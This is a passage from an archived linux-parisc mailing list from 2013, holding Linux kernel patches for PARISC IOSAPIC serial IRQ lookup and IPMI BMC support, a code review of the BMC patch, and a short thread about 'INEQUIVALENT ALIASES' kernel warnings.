Signed-off-by: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
---

 drivers/char/ipmi/ipmi_si_intf.c |   78 ++++++++++++++++++++++++++++++++++++++
 arch/parisc/include/asm/parisc-device.h |    1 +
 arch/parisc/kernel/inventory.c          |    1 +
 drivers/parisc/iosapic.c                |   40 +++++++++++++++++++++----------
 drivers/tty/serial/8250/8250_gsc.c      |    4 ++--
 4 files changed, 32 insertions(+), 14 deletions(-)

diff --git a/arch/parisc/include/asm/parisc-device.h b/arch/parisc/include/asm/parisc-device.h
index 9afdad6..b1d8c9d 100644
--- a/arch/parisc/include/asm/parisc-device.h
+++ b/arch/parisc/include/asm/parisc-device.h
@@ -23,6 +23,7 @@ struct parisc_device {
 	/* generic info returned from pdc_pat_cell_module() */
 	unsigned long	mod_info;	/* PAT specific - Misc Module info */
 	unsigned long	pmod_loc;	/* physical Module location */
+	unsigned long	mod0;
 #endif
 	u64		dma_mask;	/* DMA mask for I/O */
 	struct device 	dev;
diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index 3295ef4..f0b6722 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -211,6 +211,7 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 	/* REVISIT: who is the consumer of this? not sure yet... */
 	dev->mod_info = pa_pdc_cell->mod_info;	/* pass to PAT_GET_ENTITY() */
 	dev->pmod_loc = pa_pdc_cell->mod_location;
+	dev->mod0 = pa_pdc_cell->mod[0];
 
 	register_parisc_device(dev);	/* advertise device */
 
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index e79e006..c520d8e 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -811,18 +811,28 @@ int iosapic_fixup_irq(void *isi_obj, struct pci_dev *pcidev)
 	return pcidev->irq;
 }
 
-static struct iosapic_info *first_isi = NULL;
+static struct iosapic_info *iosapic_list;
 
 #ifdef CONFIG_64BIT
-int iosapic_serial_irq(int num)
+int iosapic_serial_irq(struct parisc_device *dev)
 {
-	struct iosapic_info *isi = first_isi;
-	struct irt_entry *irte = NULL;  /* only used if PAT PDC */
+	struct iosapic_info *isi;
+	struct irt_entry *irte;
 	struct vector_info *vi;
-	int isi_line;	/* line used by device */
-
+	int cnt;
+	int intin;
+	
+	intin = (dev->mod_info >> 24) & 15;
+	
 	/* lookup IRT entry for isi/slot/pin set */
-	irte = &irt_cell[num];
+	for (cnt = 0; cnt < irt_num_entry; cnt++) {
+		irte = &irt_cell[cnt];
+		if (COMPARE_IRTE_ADDR(irte, dev->mod0) &&
+		    irte->dest_iosapic_intin == intin)
+			break;
+	}
+	if (cnt >= irt_num_entry)
+		return 0; /* no irq found, force polling */
 
 	DBG_IRT("iosapic_serial_irq(): irte %p %x %x %x %x %x %x %x %x\n",
 		irte,
@@ -834,11 +844,17 @@ int iosapic_serial_irq(int num)
 		irte->src_seg_id,
 		irte->dest_iosapic_intin,
 		(u32) irte->dest_iosapic_addr);
-	isi_line = irte->dest_iosapic_intin;
+	
+	/* search for iosapic */
+	for (isi = iosapic_list; isi; isi = isi->isi_next)
+		if (isi->isi_hpa == dev->mod0)
+			break;
+	if (!isi)
+		return 0; /* no iosapic found, force polling */
 
 	/* get vector info for this input line */
-	vi = isi->isi_vector + isi_line;
-	DBG_IRT("iosapic_serial_irq:  line %d vi 0x%p\n", isi_line, vi);
+	vi = isi->isi_vector + intin;
+	DBG_IRT("iosapic_serial_irq:  line %d vi 0x%p\n", iosapic_intin, vi);
 
 	/* If this IRQ line has already been setup, skip it */
 	if (vi->irte)
@@ -941,8 +957,8 @@ void *iosapic_register(unsigned long hpa)
 		vip->irqline = (unsigned char) cnt;
 		vip->iosapic = isi;
 	}
-	if (!first_isi)
-		first_isi = isi;
+	isi->isi_next = iosapic_list;
+	iosapic_list = isi;
 	return isi;
 }
 
diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/8250/8250_gsc.c
index bb91b47..694c8bd 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -31,9 +31,9 @@ static int __init serial_init_chip(struct parisc_device *dev)
 	int err;
 
 #ifdef CONFIG_64BIT
-	extern int iosapic_serial_irq(int cellnum);
+	extern int iosapic_serial_irq(struct parisc_device *dev);
 	if (!dev->irq && (dev->id.sversion == 0xad))
-		dev->irq = iosapic_serial_irq(dev->mod_index-1);
+		dev->irq = iosapic_serial_irq(dev);
 #endif
 
 	if (!dev->irq) {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.openipmi
Subject: Re: [PATCH] BMC support for PARISC machines
Date: Tue, 30 Jul 2013 08:32:32 +0200
Lines: 118
Approved: news@gmane.org
Message-ID: <9487813.vZBgAZSMSR@eto>
References: <20130730000702.4C0D21D232@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2056396.ti35J4flce"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1375165965 6416 80.91.229.3 (30 Jul 2013 06:32:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Jul 2013 06:32:45 +0000 (UTC)
Cc: openipmi-developer@lists.sourceforge.net,
	linux-parisc@vger.kernel.org, minyard@acm.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 30 08:32:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V43UC-00040A-BT
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Jul 2013 08:32:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757365Ab3G3Gco (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Jul 2013 02:32:44 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:50804 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756847Ab3G3Gcn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Jul 2013 02:32:43 -0400
Original-Received: (qmail 619 invoked from network); 30 Jul 2013 06:32:40 -0000
Original-Received: from dslc-082-083-173-151.pools.arcor-ip.net ([::ffff:82.83.173.151]:41640 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <tsbogend@alpha.franken.de>; Tue, 30 Jul 2013 08:32:40 +0200
User-Agent: KMail/4.10.5 (Linux/3.10.0-16.g3dcd746-desktop; KDE/4.10.5; x86_64; ; )
In-Reply-To: <20130730000702.4C0D21D232@solo.franken.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5232 gmane.linux.kernel.openipmi:2153
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5232>


--nextPart2056396.ti35J4flce
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Thomas Bogendoerfer wrote:
> The last line of PARISC machines (C8000, RP34x0, etc.) have a BMC for
> controlling temperature, fan speed and other stuff. The BMC is connected
> via a special bus and listed in the firmware device tree. This change
> adds support for these BMCs to the IPMI driver.
> 
> Signed-off-by: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
> ---
> 
> This is the second try to get this change integrated. If you see
> any problems with this patch, please give me hints how to improve
> this patch.
> 
> 
>  drivers/char/ipmi/ipmi_si_intf.c |   77
> ++++++++++++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+)
> 
> diff --git a/drivers/char/ipmi/ipmi_si_intf.c
> b/drivers/char/ipmi/ipmi_si_intf.c index af4b23f..b017b8a 100644
> --- a/drivers/char/ipmi/ipmi_si_intf.c
> +++ b/drivers/char/ipmi/ipmi_si_intf.c
> @@ -71,6 +71,11 @@
>  #include <linux/of_address.h>
>  #include <linux/of_irq.h>
> 
> +#ifdef CONFIG_PARISC
> +#include <asm/hardware.h>	/* for register_parisc_driver() stuff */
> +#include <asm/parisc-device.h>
> +#endif
> +
>  #define PFX "ipmi_si: "
> 
>  /* Measure times between events in the driver. */
> @@ -298,6 +303,9 @@ static int pci_registered;
>  #ifdef CONFIG_ACPI
>  static int pnp_registered;
>  #endif
> +#ifdef CONFIG_PARISC
> +static int parisc_registered;
> +#endif
>  static unsigned int kipmid_max_busy_us[SI_MAX_PARMS];
>  static int num_max_busy_us;

Can be bool

> @@ -2697,6 +2705,64 @@ static struct platform_driver ipmi_driver = {
>  	.remove		= ipmi_remove,
>  };
> 
> +#ifdef CONFIG_PARISC
> +static int ipmi_parisc_probe(struct parisc_device *dev)
> +{
> +	struct smi_info *info;
> +
> +	info = kzalloc(sizeof(*info), GFP_KERNEL);
> +
> +	if (!info) {
> +		dev_err(&dev->dev,
> +			"could not allocate memory for PARISC probe\n");
> +		return -ENOMEM;
> +	}
> +
> +	info->si_type		= SI_KCS;
> +	info->addr_source	= SI_DEVICETREE;
> +	info->io_setup		= mem_setup;
> +	info->io.addr_type	= IPMI_MEM_ADDR_SPACE;
> +	info->io.addr_data	= dev->hpa.start;
> +	info->io.regsize	= 1;
> +	info->io.regspacing	= 1;
> +	info->io.regshift	= 0;
> +	info->irq		= 0; /* no interrupt */
> +	info->irq_setup		= NULL;
> +	info->dev		= &dev->dev;
> +
> +	dev_dbg(&dev->dev, "addr 0x%lx regsize %d spacing %d irq %d\n",
> +		info->io.addr_data, info->io.regsize, info->io.regspacing,
> +		info->irq);

Printing regsize, regspacing, and IRQ here is kind of pointless as they have 
fixed values, no?

> +	dev_set_drvdata(&dev->dev, info);
> +
> +	if (add_smi(info)) {
> +		kfree(info);
> +		return -EBUSY;
> +	}

add_smi() will already return an error code AFAICS. So just forward that.

Regards,

Eike
--nextPart2056396.ti35J4flce
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlH3XggACgkQXKSJPmm5/E4n1gCgnpRGoWImCEjjaSItuiEUIcsS
vjsAoKOcGPRAgpTpi7QiiBexG3RfSpRI
=+NkC
-----END PGP SIGNATURE-----

--nextPart2056396.ti35J4flce--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.openipmi
Subject: [PATCH v2] BMC support for PARISC machines
Date: Tue, 30 Jul 2013 23:13:42 +0200 (CEST)
Lines: 138
Approved: news@gmane.org
Message-ID: <20130730211342.6FDE51D33D@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1375218947 18808 80.91.229.3 (30 Jul 2013 21:15:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Jul 2013 21:15:47 +0000 (UTC)
Cc: minyard@acm.org
To: openipmi-developer@lists.sourceforge.net,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 30 23:15:49 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V4HGm-0003d4-Ch
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Jul 2013 23:15:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756977Ab3G3VPs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Jul 2013 17:15:48 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:43398 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756140Ab3G3VPq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Jul 2013 17:15:46 -0400
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1V4HGh-0005Te-00; Tue, 30 Jul 2013 23:15:43 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 6FDE51D33D; Tue, 30 Jul 2013 23:13:42 +0200 (CEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5233 gmane.linux.kernel.openipmi:2154
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5233>

The last line of PARISC machines (C8000, RP34x0, etc.) have a BMC for
controlling temperature, fan speed and other stuff. The BMC is connected
via a special bus and listed in the firmware device tree. This change
adds support for these BMCs to the IPMI driver.

Signed-off-by: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
---

v2: Fixed SMP problem by using smi_alloc_info() to get spinlock initialized
    correctly

This is the second try to get this change integrated. If you see
any problems with this patch, please give me hints how to improve
this patch.


 drivers/char/ipmi/ipmi_si_intf.c |   75 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 75 insertions(+)

diff --git a/drivers/char/ipmi/ipmi_si_intf.c b/drivers/char/ipmi/ipmi_si_intf.c
index af4b23f..1ea4201 100644
--- a/drivers/char/ipmi/ipmi_si_intf.c
+++ b/drivers/char/ipmi/ipmi_si_intf.c
@@ -71,6 +71,11 @@
 #include <linux/of_address.h>
 #include <linux/of_irq.h>
 
+#ifdef CONFIG_PARISC
+#include <asm/hardware.h>	/* for register_parisc_driver() stuff */
+#include <asm/parisc-device.h>
+#endif
+
 #define PFX "ipmi_si: "
 
 /* Measure times between events in the driver. */
@@ -298,6 +303,9 @@ static int pci_registered;
 #ifdef CONFIG_ACPI
 static int pnp_registered;
 #endif
+#ifdef CONFIG_PARISC
+static int parisc_registered;
+#endif
 
 static unsigned int kipmid_max_busy_us[SI_MAX_PARMS];
 static int num_max_busy_us;
@@ -2697,6 +2705,62 @@ static struct platform_driver ipmi_driver = {
 	.remove		= ipmi_remove,
 };
 
+#ifdef CONFIG_PARISC
+static int ipmi_parisc_probe(struct parisc_device *dev)
+{
+	struct smi_info *info;
+
+	info = smi_info_alloc();
+
+	if (!info) {
+		dev_err(&dev->dev,
+			"could not allocate memory for PARISC probe\n");
+		return -ENOMEM;
+	}
+
+	info->si_type		= SI_KCS;
+	info->addr_source	= SI_DEVICETREE;
+	info->io_setup		= mem_setup;
+	info->io.addr_type	= IPMI_MEM_ADDR_SPACE;
+	info->io.addr_data	= dev->hpa.start;
+	info->io.regsize	= 1;
+	info->io.regspacing	= 1;
+	info->io.regshift	= 0;
+	info->irq		= 0; /* no interrupt */
+	info->irq_setup		= NULL;
+	info->dev		= &dev->dev;
+
+	dev_dbg(&dev->dev, "addr 0x%lx\n", info->io.addr_data);
+
+	dev_set_drvdata(&dev->dev, info);
+
+	if (add_smi(info)) {
+		kfree(info);
+		return -EBUSY;
+	}
+
+	return 0;
+}
+
+static int ipmi_parisc_remove(struct parisc_device *dev)
+{
+	cleanup_one_si(dev_get_drvdata(&dev->dev));
+	return 0;
+}
+
+static struct parisc_device_id ipmi_parisc_tbl[] = {
+	{ HPHW_MC, HVERSION_REV_ANY_ID, 0x004, 0xC0 },
+	{ 0, }
+};
+
+static struct parisc_driver ipmi_parisc_driver = {
+	.name =		"ipmi",
+	.id_table =	ipmi_parisc_tbl,
+	.probe =	ipmi_parisc_probe,
+	.remove =	ipmi_parisc_remove,
+};
+#endif /* CONFIG_PARISC */
+
 static int wait_for_msg_done(struct smi_info *smi_info)
 {
 	enum si_sm_result     smi_result;
@@ -3462,6 +3526,13 @@ static int init_ipmi_si(void)
 		spmi_find_bmc();
 #endif
 
+#ifdef CONFIG_PARISC
+	register_parisc_driver(&ipmi_parisc_driver);
+	parisc_registered = 1;
+	/* poking PC IO addresses will crash machine, don't do it */
+	si_trydefaults = 0;
+#endif
+
 	/* We prefer devices with interrupts, but in the case of a machine
 	   with multiple BMCs we assume that there will be several instances
 	   of a given type so if we succeed in registering a type then also
@@ -3608,6 +3679,10 @@ static void cleanup_ipmi_si(void)
 	if (pnp_registered)
 		pnp_unregister_driver(&ipmi_pnp_driver);
 #endif
+#ifdef CONFIG_PARISC
+	if (parisc_registered)
+		unregister_parisc_driver(&ipmi_parisc_driver);
+#endif
 
 	platform_driver_unregister(&ipmi_driver);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: INEQUIVALENT ALIASES in 3.11-rc3
Date: Wed, 31 Jul 2013 00:06:36 +0300 (EEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1307310003070.19136@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1375220365 1542 80.91.229.3 (30 Jul 2013 21:39:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Jul 2013 21:39:25 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 30 23:39:26 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V4Hdc-00083Q-M6
	for glpp-linux-parisc@plane.gmane.org; Tue, 30 Jul 2013 23:39:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757291Ab3G3VjX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Jul 2013 17:39:23 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:49621 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756870Ab3G3VjX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Jul 2013 17:39:23 -0400
X-Greylist: delayed 1963 seconds by postgrey-1.27 at vger.kernel.org; Tue, 30 Jul 2013 17:39:23 EDT
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id F2F9073D518
	for <linux-parisc@vger.kernel.org>; Wed, 31 Jul 2013 00:06:36 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id D3732427978; Wed, 31 Jul 2013 00:06:36 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id C76B2427977
	for <linux-parisc@vger.kernel.org>; Wed, 31 Jul 2013 00:06:36 +0300 (EEST)
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5234
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5234>

I tried 3.11-rc3 yesterday on my RP3440. It works, but has acquired a 
new warning during Gentoo emerge cycle:
[  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
[  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
[  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
[  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
[  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
[ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
[ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
[ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
[ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
[ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest

There is no file named conftest present after emerge, so it must have 
been some temporary program.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: INEQUIVALENT ALIASES in 3.11-rc3
Date: Tue, 30 Jul 2013 15:21:33 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <CAEdQ38FE9WxYJX7RWPuBW7ctwOKhtgQ_9tDy0OhoUqVeysYEcw@mail.gmail.com>
References: <alpine.SOC.1.00.1307310003070.19136@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1375222914 28514 80.91.229.3 (30 Jul 2013 22:21:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Jul 2013 22:21:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 31 00:21:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V4IIl-0005Tf-9H
	for glpp-linux-parisc@plane.gmane.org; Wed, 31 Jul 2013 00:21:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755659Ab3G3WVy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Jul 2013 18:21:54 -0400
Original-Received: from mail-qe0-f51.google.com ([209.85.128.51]:49656 "EHLO
	mail-qe0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753743Ab3G3WVy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Jul 2013 18:21:54 -0400
Original-Received: by mail-qe0-f51.google.com with SMTP id nd7so2360920qeb.24
        for <linux-parisc@vger.kernel.org>; Tue, 30 Jul 2013 15:21:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=DVIdezhTY+tlT26OHZ0DkAzspfYtGjlJKJBbfim8BY4=;
        b=h2P2IXna2Wlkr5/sBdkOFPlfJBhaD0NousSvobtc7zkTfriI1BFXAfb/SDnY2GOSlZ
         e1kjCS3AV60QPcZcMD8qkoymdcKtw+jBLf4vPV7cbN+nxSoIAHZzdXowg9OWapqeOc9E
         zvPjdcv5gu5yn3RUHzi8Or+iSrD6/Nvh4Px7y3D2WxdA7XREoCTQbEYA6f/tcNq+THol
         x2X0hTbVyRXjGKfza3Q4wlapr4wXap9/+Km1jDEff6IDqjM9P0czR7whuJOgG4tkDbGE
         NHJ49R7bdD249gNINw8syEsvnLmRSePaXwCpGVpei1YgRtBOf+eYB4olhInjI31hR1x0
         OGRA==
X-Received: by 10.49.74.227 with SMTP id x3mr79081687qev.29.1375222913745;
 Tue, 30 Jul 2013 15:21:53 -0700 (PDT)
Original-Received: by 10.49.108.6 with HTTP; Tue, 30 Jul 2013 15:21:33 -0700 (PDT)
In-Reply-To: <alpine.SOC.1.00.1307310003070.19136@math.ut.ee>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5235
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5235>

On Tue, Jul 30, 2013 at 2:06 PM, Meelis Roos <mroos@linux.ee> wrote:
> There is no file named conftest present after emerge, so it must have
> been some temporary program.

conftest is generated many times during a ./configure run.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Corey Minyard <tcminyard@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.openipmi
Subject: Re: [PATCH v2] BMC support for PARISC machines
Date: Tue, 30 Jul 2013 21:21:39 -0500
Lines: 148
Approved: news@gmane.org
Message-ID: <51F874B3.6090608@acm.org>
References: <20130730211342.6FDE51D33D@solo.franken.de>
Reply-To: minyard@acm.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375237312 31762 80.91.229.3 (31 Jul 2013 02:21:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Jul 2013 02:21:52 +0000 (UTC)
Cc: openipmi-developer@lists.sourceforge.net,
	linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 31 04:21:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V4M2y-0007Qj-Hq
	for glpp-linux-parisc@plane.gmane.org; Wed, 31 Jul 2013 04:21:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758727Ab3GaCVn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Jul 2013 22:21:43 -0400
Original-Received: from mail-oa0-f41.google.com ([209.85.219.41]:51762 "EHLO
	mail-oa0-f41.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750918Ab3GaCVl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Jul 2013 22:21:41 -0400
Original-Received: by mail-oa0-f41.google.com with SMTP id j6so348386oag.0
        for <linux-parisc@vger.kernel.org>; Tue, 30 Jul 2013 19:21:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:reply-to:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=7j0xHgPBhm3Gxicp0f1Y27zrDvcnc1e4mu5w+eTqbyg=;
        b=wI76PGeIMyQC06Il5HgY0CNGIH+UHHJLNRb/oYiv2wV0JHmmLm6W/Be4aA0IKs69s7
         FXdMhzIXlp6KKzWh6cElHhs6Q/7szpuaxezG56QRLdjovkBZCLQNoOeXfH54gE/fB0oF
         H+lk8oYNZi54KtkH/h5/1kmJomQs0bcJpQnuhrYdq5acILl+7ZDCPWqGTIItxWTY3BHJ
         K67umqsLBzsDsVrI+g42mWs7yLJzTnqnaS3nR6pbBtyZFy4+QQVHWcq+U8jJkmJAW6zu
         EbJY1kyY0liZqc71Qnyik0Fkfx1Ll42hTYIbduGFtDkOlJbgPzkh5cHwM1zjYTpoTSXp
         3ocg==
X-Received: by 10.182.128.6 with SMTP id nk6mr59464029obb.11.1375237300602;
        Tue, 30 Jul 2013 19:21:40 -0700 (PDT)
Original-Received: from [192.168.27.116] (pool-173-74-121-95.dllstx.fios.verizon.net. [173.74.121.95])
